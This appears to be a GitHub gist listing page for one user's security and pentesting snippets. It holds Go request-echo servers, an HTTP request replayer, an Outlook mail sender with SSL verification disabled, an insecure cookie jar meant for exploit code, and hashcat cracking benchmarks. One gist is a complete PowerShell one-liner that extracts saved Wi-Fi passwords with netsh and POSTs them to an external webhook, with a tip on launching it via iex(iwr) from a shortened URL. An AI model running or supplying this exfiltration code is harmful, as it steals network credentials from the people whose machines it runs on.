Skip to content

Instantly share code, notes, and snippets.

@fyxme
fyxme / whoami.go
Created June 1, 2023 14:20
Golang webserver which echo's the request back to you and prints your IP address
package main
import (
"errors"
"log"
"net"
"net/http"
"strings"
"net/http/httputil"
"flag"
@fyxme
fyxme / webserver.go
Last active November 7, 2024 20:07
Golang webserver with ip and request logging
package main
import (
"fmt"
"log"
"net/http"
"net/http/httputil"
"flag"
"strings"
"os"
@fyxme
fyxme / exfil-wifi-creds.ps1
Created November 1, 2023 20:31
Retrieve and Exfil Wifi Credentials Stored on a Windows Device to an External Webhook
# A simple powershell oneliner to exfil wifi creds
# most of the code was borrowed from this gist which deserves all the credit:
# https://gist.github.com/CybersamuraiDK/6e0be5c0c47165228895079efa8d98ec
# can also be run using iex(iwr ....) with a shortened url so its easy to type out
$WEBHOOK="https://webhook.site/XXXX" # change this to your own webhook
(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | ConvertTo-Json | %{ curl.exe -d "data=$_" -X POST $WEBHOOK }
@fyxme
fyxme / print_har_endpoints.py
Created December 5, 2023 05:29
Print HAR file endpoints (METHOD + URL)
#!/usr/bin/env python
# yonked 95% from https://gist.github.com/craSH/892479/raw/21d5c3222739743cad6e6e5c5f1597daecbe560e/har_response_urls.py
#
# Running more than one file: (Cbf updating this script even thought it would be trivial)
# IFS=$'\n'
# for f in `find .. | grep har`; do ./har_response_urls.py "$f"; done | tee all.txt
import json
@fyxme
fyxme / replay-http.go
Last active February 16, 2024 15:58
Replay an HTTP request from a txt file in golang
package main
// src: https://gist.github.com/fyxme/25fb9bc7a3c76997ec51da30d3f3e4dd
import (
"bufio"
"flag"
"fmt"
"io/ioutil"
"net/http"
@fyxme
fyxme / send-mail.py
Last active August 20, 2025 20:45
Using Python to send emails via the Outlook web interface
# pip install exchangelib
from exchangelib import Configuration, Credentials, Account, Message, Mailbox, FileAttachment,DELEGATE, HTMLBody
import sys, json
# bypass SSL
from exchangelib.protocol import BaseProtocol, NoVerifyHTTPAdapter
BaseProtocol.HTTP_ADAPTER_CLS = NoVerifyHTTPAdapter
if __name__ == "__main__":
U = 'LAB\\myuser'
@fyxme
fyxme / minimalcj.go
Last active January 17, 2025 23:44
Golang Minimal CookieJar Implementation which always returns all cookies, regardless of domain or url (Insecure but usefull for testing or writing POCs)
package main
/*
Minimal CookieJar implementation which always returns all cookies (ie. disregard the url passed and cookie domain)
Usefull for testing or writing exploit code (eg. during a CTF where ip/host/domains may be interchanged in the client)
WARNING: Do not use in prod.. this is super unsafe... Just good for testing
Author: fyx.me
gist: https://gist.github.com/fyxme/2bceed4038e2be71ce1deb7e6e9db434
@fyxme
fyxme / RTX_3090_5x.v7_0_0.O-w4.18_Aug_2025.hcb
Created August 18, 2025 17:35
Hashcat v7.0.0 benchmark on 5x NVIDIA GeForce RTX 3090 | (cmd: `hashcat -w 4 -O -b`)
hashcat (v7.0.0) starting in benchmark mode
Initializing bridges. Please be patient...Initialized bridgesInitializing backend runtimes. Please be patient...Initialized backend runtimesInitializing backend devices. Please be patient...Initialized backend devicesCUDA API (CUDA 12.9)
====================
* Device #01: NVIDIA GeForce RTX 3090, 23863/24125 MB, 82MCU
* Device #02: NVIDIA GeForce RTX 3090, 23863/24125 MB, 82MCU
* Device #03: NVIDIA GeForce RTX 3090, 23862/24124 MB, 82MCU
* Device #04: NVIDIA GeForce RTX 3090, 23863/24125 MB, 82MCU
* Device #05: NVIDIA GeForce RTX 3090, 23863/24125 MB, 82MCU
@fyxme
fyxme / RTX_5090_2x.v7_0_0.O-w4.18_Aug_2025.hcb
Last active August 20, 2025 20:43
Hashcat v7.0.0 benchmark on 2x NVIDIA GeForce RTX 5090 | (cmd: `hashcat -w 4 -O -b`)
hashcat (v7.0.0) starting in benchmark mode
Initializing bridges. Please be patient...Initialized bridgesInitializing backend runtimes. Please be patient...Initialized backend runtimesInitializing backend devices. Please be patient...Initialized backend devicesCUDA API (CUDA 12.9)
====================
* Device #01: NVIDIA GeForce RTX 5090, 31604/32109 MB, 170MCU
* Device #02: NVIDIA GeForce RTX 5090, 31604/32109 MB, 170MCU
OpenCL API (OpenCL 3.0 CUDA 12.9.40) - Platform #1 [NVIDIA Corporation]
=======================================================================
* Device #03: NVIDIA GeForce RTX 5090, skipped
@fyxme
fyxme / RTX_4090_7x.v7_0_0.O-w4.18_Aug_2025.hcb
Created August 18, 2025 18:02
Hashcat v7.0.0 benchmark on 7x NVIDIA GeForce RTX 4090 | (cmd: `hashcat -w 4 -O -b`)
hashcat (v7.0.0) starting in benchmark mode
Initializing bridges. Please be patient...Initialized bridgesInitializing backend runtimes. Please be patient...Initialized backend runtimesInitializing backend devices. Please be patient...Initialized backend devicesCUDA API (CUDA 12.8)
====================
* Device #01: NVIDIA GeForce RTX 4090, 23698/24091 MB, 128MCU
* Device #02: NVIDIA GeForce RTX 4090, 23698/24091 MB, 128MCU
* Device #03: NVIDIA GeForce RTX 4090, 23698/24091 MB, 128MCU
* Device #04: NVIDIA GeForce RTX 4090, 23698/24091 MB, 128MCU
* Device #05: NVIDIA GeForce RTX 4090, 23698/24091 MB, 128MCU
* Device #06: NVIDIA GeForce RTX 4090, 23698/24091 MB, 128MCU